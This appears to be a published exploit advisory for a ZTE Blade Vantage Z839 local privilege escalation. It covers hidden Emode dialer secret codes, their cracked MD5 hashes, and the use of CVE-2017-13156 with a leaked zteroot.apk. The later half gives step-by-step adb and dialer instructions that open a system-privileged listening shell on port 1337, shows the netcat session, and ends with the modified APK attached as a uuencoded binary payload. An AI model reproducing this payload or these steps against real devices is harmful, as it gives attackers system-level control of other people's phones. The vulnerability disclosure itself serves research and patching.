Authored by Hacker Fantastic

ZTE Blade Vantage Z839 Emode.APK android.uid.system local privilege escalation exploit.

ZTE Blade Vantage Z839 Emode.APK android.uid.system LPE exploit
===============================================================
ZTE Blade Vantage (Z839) Android handsets running 7.1.1 contain an engineering mode that utilizes "Android Secret Codes"
for accessing hidden engineering functionality. Such hidden features are common for Android devices and perform
functions such as testing sensors and modem settings. Using the "secret codes", it is also possible for ZTE to obtain
root privileges on any device by installing "zteroot.apk" (must be signed by ZTE as AndroidOS checks signature and privs
during install) and then using one of the Emode secret codes will run zteroot installed with android.uid.system which then
uses additional device specific features to escalate to "root". The tested device was a ZTE Z839 running Android 7.1.1.
It is possible to use this feature to gain android.uid.system privileges on an impacted device by exploiting a known
code signing attack CVE-2017-13156 with a previously leaked copy of "zteroot.apk" for older versions of ZTE Android
devices. The Android installed permissions for com.zte.emode can be seen below.

Package: com.zte.emode
Application Label: Emode
Process Name: com.zte.emode
Version: 7.1.1
Data Directory: /data/user/0/com.zte.emode
APK Path: /system/priv-app/Emode/Emode.apk
UID: 1000
GID: [3009, 3002, 1023, 1015, 3003, 3001, 1021, 3004, 3005, 1000, 2002, 2950, 1010, 1007]
Shared Libraries: [/system/framework/modemservicemanager.jar]
Shared User ID: android.uid.system
Uses Permissions:
- android.permission.CALL_PRIVILEGED
- android.permission.BLUETOOTH
- android.permission.BLUETOOTH_ADMIN
- android.permission.VIBRATE
- android.permission.WAKE_LOCK
- android.permission.ACCESS_COARSE_LOCATION
- android.permission.RECEIVE_BOOT_COMPLETED
- android.permission.SHUTDOWN
- android.permission.READ_PHONE_STATE
- android.permission.WRITE_SECURE_SETTINGS
- android.permission.WRITE_EXTERNAL_STORAGE
- android.permission.MOUNT_UNMOUNT_FILESYSTEMS
- android.permission.CAMERA
- android.permission.MODEMSERVICE
- android.permission.TFSIMLOCK
- com.android.browser.permission.READ_HISTORY_BOOKMARKS
- com.zte.chameleon.WRITE_CHAMELEON_DB
- android.permission.ACCESS_LOCATION_EXTRA_COMMANDS
- android.permission.READ_EXTERNAL_STORAGE
Defines Permissions:
- None

The Emode is enabled on production devices by default. The secret codes are found within the Emode APK
which registers EmodeStartbyDialerService service and tests each entered code in the Dialer against it's MD5 hashed
representation to access different engineering functionality. The routine for matching functions can be found in
EmodeHashMatchUtil of the com.zte.emode APK file. The following two codes can be used to test for this feature.

*983*673636# - enable engineering mode
*983*2567336# - disable engineering mode

The Emode tests for the "zteroot" manufacturer package and executes its activity using the secret code *983*872604#
this capability can be found in EngineerOrderControl. Emode application runs with android.uid.system privileges and
can access the device hardware, modem and numerous other engineering facilities (obtaining sensitive information
from a device).

com/zte/emode/EngineerOrderControl.java: private static final String ZTEROOT_APP_ACTIVITY = "zteroot";
com/zte/emode/EngineerOrderControl.java: private static final String ZTEROOT_APP_PACKAGE = "zte.root";
com/zte/emode/EngineerOrderControl.java: checkPackageExistInfo(context, ZTEROOT_APP_PACKAGE, ZTEROOT_APP_ACTIVITY, true);

The following secret codes can be entered into the dialer to access different Emode functionality.

Emode APK secret codes cracked
==============================
2a08f271128e0f40b63e75e2ad4db451:*#06#
b1dd1e45998c5af494b6e2c459a61144:*#18#
ddd434b4bf9bb0db049ff8edccaec750:*#23#
96fda30148daba63bd97cb4be3b97f15:*#19#
5e83d7db10b6352aae05f7a846e287a7:*#08#
54ac7fe9acf5d0fb37002269b0c5fba3:*#25#
5bca87a7bc30f61f6793015ee5b157af:*#626#
cbbf6bdb844ddcda7b2ffe008ea378fa:*983*7#
66d5fa370336780b8bdf25c45c2d726a:*987*0#
7b292469f6d3e4fe1442903d70206e3f:*983*1#
8ac4ac004b629394a592e45f882d8960:*983*2#
7109c5dbbf1f64b41a16c14368e4fb96:*983*0#
3e1aab1b61375eff95a92b7d56d49f40:*983*3#
882f6c6ef406f0349672b3efed6cafeb:*#3424#
849aaa5c3b1c43fb44dbdc32c2129da7:*#0002#
25d8061a7296bd4d715399abacf36611:*#0003#
f7ec4dabddced4adf8dd54eb177f2868:*#0000#
de8f66ef319ce1aadbc3649cd536a893:*#0001#
addf8bd2f7c551c0aabae97e590a9226:*#2477#
7d4e7e4b6e677439a5970f74c95540af:*#9999#
d038ba1b0b313ad9a63bc0a45127e461:*983*93#
8b077a3b228b2aac6eac76122793b288:*983*81#
409789fb1b5bbbb5cc87abc3495c97c6:*983*31#
322efc9f73c9bbaf7c9a00bb17e79400:*983*21#
0185ca75382b183996bef84eb405cf3f:*983*10#
11bba7af2edd86eda2c949935fed5139:*983*70#
8a3b91b963d9681aadc099b5a60910a9:*983*25#
7f962a95f24031ef080cdd616930e99f:*983*26#
6031dd432d2127fa77a3aec553c4d367:*983*36#
604e8b4732bf45409bbcab223f9230f5:*983*86#
8b5719670c37f6623ccecc8477b86fdf:*983*07#
ea8ea80c448220cad9a1665c27114e52:*983*28#
2a80a89d99ee316e986dc311ed82c17a:*983*84#
6e4de71eabba7cdcc6b1b2c1a3540f04:*983*06#
230ce4f7b781d1056542924b4599e195:*983*57#
8e642ab295827ef1f3c03fe427e84ff0:*983*37#
7b507c2ebe03e011c6d363c4c039ce11:*#09***#
119a9bbcf3b2cd30b9807fe84151e119:*#26***#
8ab0df1f684f046aeb69c62eb173207e:*983*423#
375c807eb5bf1cf60ad6a01ff8618146:*983*473#
881a019511ccf1b01a11a579289de4e4:*983*477#
0d18a1d30d2b8622f630ea8fc07fecd0:*983*850#
981002b23fe3fe2ba40d1cb6252c8f3e:*983*890#
2133d592ae813a6455ece5f7a20d022d:*983*987#
fd22b5dae9b2c4fa740d8ead578e33a4:*983*154#
c354e3ede53c2ac0a555d89dfd1c8de1:*983*636#
b415f977e522cd44b88b7e29169deb88:*983*205#
63df5186f3541ea5e2f27f16c8c302f7:*983*26*#
b35915efef8dd56beb5937613c09c2c0:*#0011*1#
b6ef46aa7be2caae03238ab6e3295b1e:*#0012*1#
6e3d833926c7ab0a79efadefc56fd37b:*#0009*1#
1434f293c089ed6c9201b6e0bb872033:*#0006*1#
cdac0e87dc42acb28fe9e62ced005599:*#0007*1#
e1b3923d57c28f9c7d4d725e4ce5c918:*#0010*1#
2f55ba40f5ae811f8723fea406085afe:*#0008*1#
04f0bce7e1150dfc58cbfbfad005bffe:*#0005*1#
6ec3a37d18c66882d12e9af886315ae6:*#0005*0#
50a30fbaafb69df48d619c508e9ff46f:*#0012*0#
91c84c865deae9e0fba544cc2757f6ba:*#0011*0#
b09b4da043d65b96f54fd484bbfce51d:*#0007*0#
3712f2c9b5ef0d2f868882b64b8d9f50:*#0008*0#
125387409919838bd700b6891cefb2b6:*#0009*0#
4bb479b629251216f1848dbf4ca2f321:*#0006*0#
eaa8c24773efe34dc5f575bd63e4529b:*737*746#
a6dfb8f917edaf981edc65c16bc864fd:*##100*564
1a97d97eb02f80cd95727bee6439882a:*983*5182#
571dcb30c80e79f0e3290b2b68323d14:*##001*73#
95eb1f3c0ca7481e5b0719ccb0c3c319:*983*2377#
0d8c01e37aae0b8c471d37636b29c2c0:*983*7469#
f6d37ae0d8b25e6fda46b85bc6caece7:*983*2778#
5c24972b4ddc09ec9c1af697f712d62e:*983*4255#
17405b61d8c4d96607e531e1b9095c4e:*983*4740#
fe9c90b08fb070bfb3b994e6c1ea7269:*983*3640#
32d31f5dde80de3f582a1531a6eb945f:*983*3470#
3e9449f0ad9a264fdd670acaa0389a3d:*983*2679#
4e8e563893f2f35d6366ee20a7223f80:*#4778378#
d2b6fb5c3a95b082c2f9e0eb1c9baced:*983*1015#
74e516298747495748b66bc899422248:*983*7336#
466ae06ec2bd4cee23d79c00edbe2356:*983*1275#
77b3902fa2dcd467921de6d69c926255:*983*7936#
aa5802becdb14211f041b7f3112bbfd8:*983*1237#
9e38a4400d4f504cb5df6cf50631ad87:*983*7337#
7da2f1e8a9120f516b530b2232d1350e:*983*6726#
29d6254a45e8a082ce670793e7d90055:*983*2726#
4f6781421ecae498059886d950bc9bc3:*983*2627#
fa7a2ffcdfdf51134a575d44d7601957:*983*2884#
6a967b944701c2db1c951781db472457:*983*0204#
b98e50dddca0ce3dc8d11ae8d8c33185:*#2277437#
0a0040ebcd1ae2cd60a413d3e8b7d3ea:*776532867#
97152b1f5bd71e5ca1ea269f799ece98:*983*07*02#
650791e38c47b67e03fcb827fd4b3a53:*983*87237#
be978c0adbc43464d688aa165d6967eb:*#477*2663#
a663ada71f2bc232875c43226cb3ea95:*983*07*01#
1529790b7ead70ae48466e7e55284125:*983*87236#
48e82552f0c4249c892772f78541fb7d:*983*83728#
b2c1e13b674559e9ff7ea38bc03f5bb4:*983*35274#
82470176ba01ea8d8c14cac32f705280:*983*87274#
513b5d9467854041b754d0961f7c8baa:*983*27274#
191fbc1acf1503e2536b9c3af5fb063d:*983*73564#
d4b8cbe1708d4f75ebc8e6c2b0ac7226:*983*872602#
9dce887d3f2073368d6b50aa3da0d08a:*983*872603#
2c9bc01120277abdc091bec4241c58d5:*983*678283#
6e42324fd00fc6c9540a73dbbff69bca:*987*123456#
df50f61e218120c308df3eca751f2d82:*983*872601#
cdca5a6ac230837014626c1bacc9419f:*983*000111#
e6241f1e4701da9372b93d1881eaff32:*983*673636#
098ddfa577e6fe75ac99063d4ab56f4c:*##010*7936#
ab33a6a38866b80b497fe166100337ac:*983*872605#
898c7f404a9ce619ce802275056f0efd:*983*276937#
f485ded6f5a24060fef6006139988d71:*983*872604#
6edbee042fea73ebe599d1024b20aec8:*983*288384#
5207a35dc0e4c63251419baf7625e1a1:*983*564738#
31fc423b7fbf10d2a8ec2f5b671db703:*983*3640*01#
be70b18e8f612999dfda7083ea9b8093:*983*9434622#
1635bbdecb02bcc0a2acdbfb80eca105:*983*2288379#
4fc21e32b70bf1a6c322e539a9af8653:*983*2567336#
5761dc9ec803c900b5673ab96d1836a1:*#7693733284#
9588f038bd93ec661bb725bf0acd642a:*983*6973738#

Emode APK uncracked hashes
==========================
4481e919378d5b187fedcda6a67b2f22
e0fd6ca8412006d45ab3b53307ec8bc4
35a910e066a2aef2d585372ee406e241
5ea1f1219e5eca393538ef34315242dd
48ff8fe7365a61ec27b1b0d32f41da05
9e2a891d317e8d60921b8a7932f4fcaa
8c56dda5b33c070443b0a6fee8d3047c
d175c00d149e4ec9d9e72cd04b7731ac
6e9fdfc6626567b6e654eaa64b44d3a5
f92cf816ce7e9833bb17ad88eea5f8a8
09e1b61e97530007176910ccbb90a3b9

A version of zteroot.apk for earlier Android versions 4.1.1 leaked onto the xda-forums and it is possible to use
this APK along with CVE-2017-13156 to modify the APK without affecting it's signature to gain android.uid.system
privileges. A version of "zte.root" been attached which when installed on an affected ZTE phone will provide a
listening shell on port 1337 when the secret code is entered. Install the attached zteroot.apk with "adb" and
then use the dialer to bring up the "root your phone" menu of "zte.root" with code *983*872604# to activate your
shell.

$ adb shell
sweet:/ $ busybox nc 127.0.0.1 1337
id
uid=1000(system) gid=1000(system) groups=1000(system),1007(log),1010(wifi),1015(sdcard_rw),1021(gps),1023(media_rw),2002(diag),2950(qcom_diag),3001(net_bt_admin),3002(net_bt),3003(inet),3004(net_raw),3005(net_admin),3009(readproc),9997(everybody),41000(u0_a31000) context=u:r:system_app:s0
uname -a
Linux localhost 3.10.49-g24db3b3 #1 SMP PREEMPT Sun Aug 20 11:59:09 CST 2017 armv7l

The Janus vulnerability is patched in the latest version of Z839V1.0.0B13 - this flaw was tested against
firmware version Z839V1.0.0B08. The Emode engineering access is present in the latest version but exploitation
must be achieved through other means as the Janus APK here will not load on a patched device.

-- Hacker Fantastic
(https://hacker.house)

------------------------------------------------------------
begin 644 zteroot.apk
M9&5X"C`S-0!XA)1-+M&B7#F.24>=AV_L'5+&SPY'H^X^@``<````'A6-!(`
M`````````#@1``!R````<````!````X`@``&0```+0"```(````X`,``"4`
M```@!````P```[email protected]%``!4#```J`4``*@%``"N!0``[email protected]``+8%``"Z!0``UP4`
M`.P%``#!0```@8```H&``[email protected]``9`8``'H&``"[email protected]``E08``)H&``"[email protected]``
MH`8``*0&``"[email protected]``K08``,4&``#[email protected]```P<``!X'``!1!P``=`<``(D'``"H
M!P``O`<``.$'``#V!P``#[email protected]``#0(``!4"```9`@``'X(``"5"```[email protected]``+X(
M``#:"```[@@```D)```="0``,PD``$D)``!="0``[email protected]``'X)``"9"0``G`D`
M`*`)``"D"0``J`D``*T)``"R"0``N`D``+L)``"_"0``U`D``.`)``#L"0``
M^`D```4*```+"@``$PH``!P*```J"@``,PH``#L*``!&"@``4`H``%,*``!;
M"@``8PH``&L*``!Q"@``=`H``((*``"'"@``[email protected]``)P*``"A"@``K0H``+,*
M``"W"@``P`H``,H*``#9"@``[email protected]``/8*```#"P``(0L``#4+``!)"P``[email protected]`
M`%X+``!J"P``[email protected]``)$+``";"P``H0L``*T+``"T"P``NPL``,,+``#*"P``
MU`L``-<+``#>"P``YPL``.X+``#R"P``^PL```T````/````%````!4````6
M````%P```[email protected]````9````&@```!L````<````'0```!X````?````(````"$`
M```B````(P```"0````E````)@```"<````H````*0```"H````K````+```
M`"T````Q````.````#H````.`````````'@,```2`````P```(`,```3````
M`P```!0,```0````!``````````1````#````"P,```0````%``````````0
M````%@`````````2````%@```&0,```2````%@```%P,```2````%P```&0,
M```Q````'``````````R````'````"P,```S````'````#P,```T````'```
M`$0,```U````'````#0,```T````'````!P,```T````'````%0,```T````
M'````$P,```T````'````&0,```V````'````'@,```W````'````&P,```T
M````'````%P,```T````'````"0,```X````'0`````````Y````'0````P,
M```9`!L`:````!H`&P!H````&P`6`$````;``T`4````!L`#0!2````&P`6
M`%@````;`!8`60```!L``@!P`````@`*``@````"```[email protected]````,`#0`(````
M`P`#`$0````#``$`8`````,``@!B`````P`!`&,````$``H`9`````D`!P!.
M````"0`3`%X````*````1P````T`$`!A````$``2``@````0`!<`[email protected]```!,`
M"@`(````%0`6``@````5``4`9P```!8`&`!)````%P`*``@````7``D`0```
M`!<`[email protected]!J````&``,`&8````9`!4`"````!D`$0!5````&@`5``@````:``X`
M50```!L`"@`(````&P`(`#L````;``@`/````!L`"``]````&P`*`$L````;
M``0`30```!L`#P!6````&P`*`%H````;``H`7````!L`"P!?````&P`4`&4`
M```9`````````!,```!4#```<0```,`,``#<$````````!H`````````$P``
M`(@,``!Q````T`P``.T0````````&P````$````"`````````'$`````````
M_A`````````$("$](``"+64``BUL``(M<``;+V1A=&$O;&]C86PO>G1E<F]O
M=&1I<F5C=&QY`!,O<WES=&5M+V)I;B]B=7-Y8F]X``XO<WES=&5M+V)I;B]S
M:``$,3,S-P`&/&EN:70^`%%!;[email protected]&ES=')I8G5T:6]N+"!R971R86YS;6ES
M<VEO;[email protected]]P>[email protected];W(@9&ES8VQO<W5R92!I<R`*<W1R:6-T;'[email protected]<')O
M:&EB:71E9"X`!4-L;W-E`!1#;VYF:61E;[email protected]]R(%I410`61F%I;&5D
M('1O(')O;[email protected]<WES=&[email protected]`!20`#24Q,``%*``%,``),20`"3$P``TQ,3``6
M3&%N9')O:60O87!P+T%C=&EV:71Y.P`A3&%N9')O:60O87!P+T%L97)T1&EA
M;&]G)$)U:6QD97([`!E,86YD<F]I9"]A<'`O06QE<G1$:6%L;V<[`!E,86YD
M<F]I9"]C;VYT96YT+T-O;G1E>'0[`#%,86YD<F]I9"]C;VYT96YT+T1I86QO
M9TEN=&5R9F%C921/;D-L:6-K3&ES=&5N97([`"%,86YD<F]I9"]C;VYT96YT
M+T1I86QO9TEN=&5R9F%C93L`$TQA;F1R;VED+V]S+T)U;F1L93L`'4QA;F1R
M;VED+V]S+U-Y<W1E;5!R;W!E<G1I97,[`!),86YD<F]I9"]U=&EL+TQO9SL`
M(TQA;F1R;VED+W9I97<O5FEE=R1/;D-L:6-K3&ES=&5N97([`!-,86YD<F]I
M9"]V:65W+U9I97<[`!=,86YD<F]I9"]W:61G970O0G5T=&]N.P`C3&1A;'9I
M:R]A;FYO=&%T:6]N+T5N8VQO<VEN9TUE=&AO9#L`'DQD86QV:6LO86YN;W1A
M=&EO;B]);FYE<D-L87-S.P`.3&IA=F$O:6O1FEL93L`&$QJ879A+VQA;F<O
M0VAA<E-E<75E;F-E.P`53&IA=F$O;&%N9R]%>&-E<'1I;VX[`!),:F%V82]L
M86YG+T]B:F5C=#L`$TQJ879A+VQA;F<O4')O8V5S<SL`&DQJ879A+VQA;F<O
M4')O8V5S<T)U:6QD97([`!),:F%V82]L86YG+U-T<FEN9SL`&4QJ879A+VQA
M;F<O4W1R:6YG0G5I;&1E<CL`$DQJ879A+VQA;F<O5&AR96%D.P`43'IT92]R
M;V]T+WIT97)O;W0D,3L`%$QZ=&4O<F]O="]Z=&5R;V]T)#([`!),>G1E+W)O
M;W0O>G1E<F]O=#L`!U`X.3)4-3<`%E`X.3)4-3=?5F],5$56,2XP+C!",#,`
M&5)O;[email protected]<WES=&5M('-U8V-E<W-F=6QL>2X``58``E9)``)[email protected]`"5DP``U9,
M20`#5DQ,``163$Q,``%:``):3``36TQJ879A+VQA;F<O4W1R:6YG.P`*86-C
M97-S)#`P,``*86-C97-S)#$P,``*86-C97-S)#(P,``+86-C97-S1FQA9W,`
M!&%D8F0`!F%P<&5N9``'8G5I;&1E<@`,8VQI8VMH86YD;&5R``=C;VYT97AT
M``9C<F5A=&4`"6-T;"YS=&%R=``(8W1L+G-T;W```60`!F1I86QO9P`&97%U
M86QS``9E>&ES=',`!&5X:70``68`#&9I;F16:65W0GE)9``#9V5T``EK97ES
M=')I;F<`"&U2;V]T0G1N``-M<V<`"FUU;E)O;W1"=&X`!&YA;64``FYC``=O
M;D-L:6-K``AO;D-R96%T90`-<&5R<VES="YS>7,N:P`+<')O9'5C=&YA;64`
M#G!R;V1U8W1V97)S:6]N``MR97-T87)T061B9``<<FN8G5I;&0N<W=?:6YT
M97)N86Q?=F5R<VEO;@`2<F]O=$1I<F5C=&QY0GE.965D`!)S879E9$EN<W1A
M;F-E4W1A=&4``W-E=``.<V5T0V]N=&5N=%9I97<`"G-E=$UE<W-A9V4`$G-E
M=$]N0VQI8VM,:7-T96YE<@`1<V5T4&]S:71I=F5"=71T;VX`"'-E=%1I=&QE
M``1S:&]W``IS:&]W1&EA;&]G``5S;&5E<``%<W1A<G0`!G1H:7,D,``%=&ET
M;&4`"'1O4W1R:6YG``%V``5V86QU90`'=F5R<VEO;@`%[email protected]``[email protected]``=Z
M=&5R;V]T``QZ=&5R;V]T+FIA=F$``````0```!,````"````$0`&``$````(
M`````0```!X````!``````````(````'`````0````$````!````!0````$`
M```,`````0````L````!````&P````$````6`````P```!8`%@`%`````@``
M`!8`%@`!````$0````$````&``(.`6P:)`(.`6P:(`(/`CX$`%,>````````
M`@```(X,``":#````@```)0,``":#```M`P``````````````````*@,````
M``````````````!0`0`'#@`%`6P'#@$K#SX;`(4!`0`'#@")`0));P<.`!``
M!PY"2TQ-`!`!<`<.`!`!<`<.`!`!<`<.`"(`!PX`20%>!PX6J6T/"X")%D#
M`$,,2UQ+7'@`)@`'#GI>>`)['0`S``<.>`,`31%I:@,";A>6`@T!'@X%`@)W
M'08">&D#`6T7ASR(`($!`VI21`<[email protected],`[email protected]/:MX'@`"``(``0```.`,```&
M````6P$``'`0#@````X`!0`"``(``0#F#```,0```"(`%0`2<2,1'@`2`AH#
M!0!-`P$"$A(:`U0`30,!`A(B&@,"`$T#`0(2,AH#`P!-`P$"$D(:`P<`30,!
M`A)2&@,!`$T#`0(28AH#[email protected]!-`P$"<"`/`!``;A`0````#@`-`"C^````````
[email protected]`!``$!$B"``(``0```/$,```&````6P$!`'`0#@````X``P`#``````#X
M#````0````X````"``$``0`````-```3````<!````$`&@`N`%L0!0`:`"`
M6Q`&`!H`5P!;$`(`[email protected]!;$`<`#@````(``0``````"0T```,```!4$`8`$0``
M``(``0``````#PT```,```!4$`(`$0````(``0``````%0T```,```!4$`4`
M$0````$``0``````&PT```$````.````!0`"``0````@#0``00```&@`0!#
M`!4!`W]N(",`$P`5`05_;B`?`!,`#`$?`0T`6S$#`!0!`0`%[email protected]'P`3``P!
M'P$-`%LQ!`!N$"(``P!;,P<`(@`9`'`@%@`P`%0Q`P`X`0<`5#$#`&[email protected]"P`!
M`%0Q!``X`0<`5#$$`&[email protected]"P`!`!H!"P`:`@D`;D`D`!,R#@````,``0`"``$`
M.`T``!8````:`$8`&@$_`'[email protected]"0`0`!8`Z`-Q(!4`$``:`$4`&@$_`'[email protected]"0`0
M``X`#0`H]PD````#``$``0$2%`<``0`"````0PT``&,````B`!``&@,$`'`@
M#``P`&X0#0````H#.`,O`!H#6P!Q$`@``P`,`[email protected]!N(!$`,@`*`Q(4,D,A
M`!H#<``B!!<`<!`2``0`;B`3`"0`#`0:!0``;B`3`%0`#`14908`;B`3`%0`
M#`1N$!0`!``,!'[email protected]"@!#``X`5&,"`%1D!0!Q(`D`0P!48P(`<1`(``,`#`%4
M8P4`;B`1`#$`"@,X`PT`;A`A``8`&@-P`!H$,`!Q(`H`0P`HX!H#<``:!`P`
M<2`*`$,`*[email protected]```<`!``#````:0T``!X````B``,`<"`"`&``;B`&`$``;B`$
M`%``&@$*`"("&@!P([email protected]`,@!N,`4`$`)N$`,````,`6X0!P`!`!(`#@```0$!
M`)`@%H"`!/P:%P&8&P`!`0$!D"`[email protected](`$F!P9`;0<``8$!0("`0`!``$"`0(!
M`[email protected]`3('`&(((`=`[email protected]@F!T!B""P'1X!R!T"`=P=`0'P'@$!N!"`)`A`!``
M`````````0`````````!````<@```'`````"````'P```#@"```#````&0``
M`+0"```$````"````.`#```%````)0```"`$```&`````P```[email protected]%```"(```
M<@```*@%```!$```$`````P,```$(````P```(X,```#$````P```*0,```&
M(````@```,`,```#(```#0```.`,```!(```#0```'P-````(````P```-P0
M````$````0```#@1``!02P,$%``(``@`EH%H/FQ8_4G/`P``<`P``!,`!`!!
M;F1R;VED36%N:69E<W0N>&UL_LH``)66S6X35Q3'S]A.8A,[."$?Y`,(250!
M*B900)2=0U"#,$X5)]`%[email protected]!8N$6!F#5#:@KKKF`7B`JHNN$,^0)V#%$[!`
MO`#]W3/WXIMQ1DQFI^/,^?[KGG?CA9R4NK*!+(E-SO%9F3SO&O]SR%KJ)?
MT3/T!KU%_Z#W:`_-!"(_H&NHAGY'?Z-W:`]]0I<S(BWT'GU&/V9%_D(?T%!.
MY#[Z#^VAC^@+*O>(3*/?T!8J2BA/9$-V95,>R1IOFSS?XEFD7U[H6RA-V2'3
M&UP?8>G^4H>PK5]*W)M8&[email protected]^E;O[O&A=VMK68^SM!)<5T?+87UH[3VRA?T!
M]BW>^GA^1OPN7YN:[3GZT>9LR76YP!D2^03O;3Q#J<3*K=QF^#B*?<305"
M?=_/%6VMA?TA?AN:NS#2V^K9E#TKJVVE]PW89OH';4-=;7[W-Y#^5/C3(8B
M(W(96Z3S<DGFY:)<X?H3S8ZS_V*_(SUJK;T7$<JQ#?4*HH<]6PMK:D9B="K
M[[email protected]?Y51CGJM0XUYFA*R%[email protected]^47M*[email protected]:@[email protected]?L
M.EDMRAURJ<.92,DQN2_0BRJ,FX?(_1X1MXE8)X]E*G*;V+,I8ZOXWR"VP;G.
MTS*6%9X[-)/-+9[JAZ"N$&^H9CP,:<%6)FKA#F-5TWI%[email protected]$+<*X
MI_G,'B(?,R)FEBQI7TQ6#5BNUF=2U]K,LE4;;WJYIO3H;55K56?V-73G,>NU
[email protected]=H8-UH^;W7E=H>;]!6JSNHRM8M=D9T66='R-G,]S_IM0HM1'J_42)J
M]SSSHRO[O"N,0M7.S[S-;I/]8H=HDWT=UCQB`HC6J46=2JR1"568+P.M35
MU"$()C-!,(6*J(6RV#(H$/-7EN/X;,@7SGRW`OF/2AK%9S='/QDR3!GSNYV
M!7L?T'Y(=L#:@@ZK?,SQ=.>)_([:[_U:Y<A6LFW6+-.U6;9M9KPVLP?P<S%;
MUO8KSC)M7--?B8Y]T+81>&WTZ)X<Y3;D>)QCM>;@G?,OS>A-X?2EXPY8W
M[/'Z$GCY%+P1RQOQ>/D$7B$%;]3R1CU>(8%W)`5OS/+&/-Z1!%Y_"I[M7_:X
MQ^M/X!53,8M;]SC%1-XI12"<N;'BE!-Y`"MZDY4UZO($#>#7]#[email protected]
M#?9UUAN;2.Y5P9O+>=T",J<:]!CG4C),OF>M/F>M'G-V37D6*<LRQVN%L.>
MSW1"+4Y;]FFO%O$XQQOQ[#,)O%G+F_5X3AG'XWUP=G'8G5R]O'86#C[1&QO
M#F)VMY?_#U!+!PAL6/U)SP,``'`,``!02P,$%``(``@`EH%H/A-<@!)>"@``
MN!,```L```!C;&%S<V5S+F1E>(6876P<U17'SYW9V;77Z_5XO1O;[email protected]$
M-NRN'0(!.S2Q<:C#AJ3)XH*3$L:[8WN2]<QZ9]:QH54#!6%:6E$)>"FJ4HD(
MJE9]H)&:2D%]H`]]0`*E2$54;2.H2J7R`%+5M)7:]'_OW/V(`ZVMWYQSS_TZ
M]]YS[NY.R5J-YG;MIL>^]<HOSG_SK_WO:A?>:W_K>Q/7]BV?<U__S=3%'J(*
M$:W.W)[email protected]^?<W:%4*[%O`'H6H#_)5R#;(7ZM$PY!M(2*HM$,CRL6)UB'_'"7Z
M"+1W$,5`$BP`!SP)[email protected]]^!MX$;X%WP&_!>^`/X'WP(;@&AF)$>&#[email protected]^`-
M#[X.]C<B7G!-'#`=$/P$7P%[email protected]`7`4)^'83&`='P3QPP=/@A^`2>!?#OP1
M?``^!!^!3!5"_P'Q#M(MH$AD`6[`9[P0%0`%%%JB`1'7P5/@.^`U#;X
M!/P37`.*3J2#%[email protected]$.'M8`S<"PZ!&?`(<,$Z>`&<!Z^!M&?P#_`OT%G-U$_
MN!7L`P?!$7`"%($-EL$J>`(!9X%+X"7P#GP(X`C)&PQ024>&`@32H(4V`1Z
M*8B)?I`&FV6L#("M8!LPP"`8`MLIB)G/@9O`S3QN0`;L!ATR]KZ&B;$M(JZ>
MA*Y+_5GH.$H*R79<UZ0>E[X^+]LDI;U+ZB]%F_K+4D])>T;ZS_^R4N?CY*3^
M$^@C4K`?53JEUKLOVK1RRWZFRTZGVN7U/D:;Y/Z.RUMN&^[Y5[RO]NE?B7*
M][N?%L6>![(?JSDL9"<=D?*HM#HY4-"*B*/%9RH*F07/2#VM%.45?SO$Y+1
M(T(J-"?+1;'?42I!ME.$#@G90P]3$!^38M]#=+X#YU,XN>5$./JB))I$3?!
MO$FL8$KL>U!.8:1Q(<-T2L14C.9%7*5$?2BKR#6&Y3[<,H%[email protected]?S]NHCND
MW"/EG;+^H)`:Y84,ULOMLU*>$+*#3LI]LF0DXQS?H;+D'G(%^6MV-=2[OZ
M$Y"OR'J>!TSL;_"W+.5%6<_M3T!?3P3Z<PU=$?U^CD0+0QY'H:)WB:AN0QV/
M]]=1]WO(`@ZF,*32KIL?I[1RG)9UWB+&N'U93W-=<0P=.1=5$CVCHZ.B1UJ-
M4#KT)7+T#IQA3'/V;:?10EJIT)":PES=V$_'2&!E,36-Z;@^";U0"D8-42Q4
MMSEZ#UK'U&4CBDR(4S#S9C%SH<CU+;*^G4:OJY6^2MN6AJ&?-VC%(3=T0W8
M`Y^_`)^_LL'GH,V`;%,8"F$G?GFM=9:TJM!GSYU6%&K.N>.&.6_]GW/N>*:Y
MF_=N:+7C8E#7CKH#&^INH:5KS7.^VCAGUCAG540T/E^[email protected]*[email protected]@IBK
MZ+PN3;?0<5V#_#QD&'(&4D'.'=<CC7[B[DL$]V8!K;I;[*F&7;G.OKEAUX2=
[email protected])N/Q)MCV0[H&0U2DF/H-QQB"ERFF0=O*(XEM8YUT?$2E)-:YT1K"
M#@UBMN.[(OALZ*6*D<)]6T#K/2PBI&/$,&L!+0-+2%K2#&M64,+.]HS&Y3W%
MUW!W(OA<2M,$6HV)*.!WT%